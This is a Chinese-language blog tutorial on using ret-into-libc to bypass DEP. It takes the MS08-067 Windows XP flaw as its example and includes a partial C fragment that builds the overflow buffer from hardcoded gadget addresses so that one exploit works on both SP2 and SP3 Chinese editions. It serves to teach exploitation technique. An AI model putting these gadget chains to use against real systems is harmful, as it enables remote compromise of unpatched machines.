通过ret-into-libc方法编写通用exp的一个小技巧
作者:螺螺
科普文,牛人请绕道,谢谢。
ms07029和ms08067这两个NB漏洞都使用ret-into-libc方法来绕过DEP数据执行保护,首先来科普下什么是ret-into- libc,一般的栈溢出控制eip后通过一些op code来跳到栈里执行shellcode,但是开启了数据执行保护的话,这种方法就不行了,那么我们只能控制eip往可以执行的地方跳,我们只能在可执 行的地方找到符合我们要求的指令,来帮我们干活,干完活后我们还需要收回控制权,那么在干活指令后必须有一个ret(n),这样我们才有可能继续控制流程 跳转到另一个地方去干下一个活,理论上,通过构造stack frame也能完成shellcode的功能。但是这只是理论上说,谁也不会傻到整个shellcode通过stack frame跳来跳去来实现,一般只是利用这个技巧去执行ZwSetInformationProcess函数来关闭DEP,然后ret(n)回去用普通的 办法执行shellcode。
科普完来到正题,以ms08067为例子,XP上可以通过上述方法来关闭DEP,但是SP2 CHS和SP3 CHS的跳转地址不一样,那么如何实现通用呢,仔细想想如果我们能利用ret-to-libc先跳到一个地址,假设这个地址在SP2系统上是 pop/pop/pop/…/ret,在SP3系统上是pop/pop/pop/pop/…/ret,只要SP2和SP3上pop的次数不一致导 致ret的时候esp不一致,那么就可以通过构造stack frame来分别跳转到各自系统的地址。有了这样一个大胆的假设后,我们需要小心的求证,随便一搜发现这样的地址很多,但是符合ms08067的具体情况 不异常的就难找了,尝试了多个地址后,功夫不负有心人,找到了一个符合要求且满足ms08067漏洞的特殊要求的地址,实现了SP2 CHS和SP3 CHS的Bypass DEP的Exp的通用,相关构造代码如下(XP其他语言版本可以用类似方法):
DWORD dwDisableNXSP2 = 0x58FC16E2;
DWORD dwDisableNXSP3 = 0x58FC17C2;
DWORD dwRetAddr = 0x58FC094D; // pop/pop/pop/pop/ret on sp2 chs & ret on sp3 chs
DWORD dwJmpAddrSP3 = 0x7ffa4F54; // jmp esi
DWORD dwJmpAddrSP2 = 0x7ffa4512; // jmp esp
DWORD dwScratchAddr = 0x00020408;
…
memcpy(arg_1 + len, &dwScratchAddr, 4);
len += 4;
memcpy(arg_1 + len, &dwRetAddr, 4);
len += 4;
memcpy(arg_1 + len, &dwDisableNXSP3, 4);
len += 4;
memcpy(arg_1 + len, &dwScratchAddr, 4);
len += 4;
memcpy(arg_1 + len, &dwJmpAddrSP3, 4);
len += 4;
memcpy(arg_1 + len, &dwScratchAddr, 4);
len += 4;
memcpy(arg_1 + len, &dwDisableNXSP2, 4);
len += 4;
memset(arg_1 + len, 0x48, 20);
len += 20;
memcpy(arg_1 + len, &dwJmpAddrSP2, 4);
len += 4;
再回到理论上,能实现SP2 CHS和SP3 CHS的通用,那么进一步也有可能实现SP2 CHS和SP2 ENS的通用,甚至所有XP的通用,甚至不同的Windows版本?不过这些纯属YY,抛砖引玉,有待进一步研究。
不知有无不重启关闭dep的方法??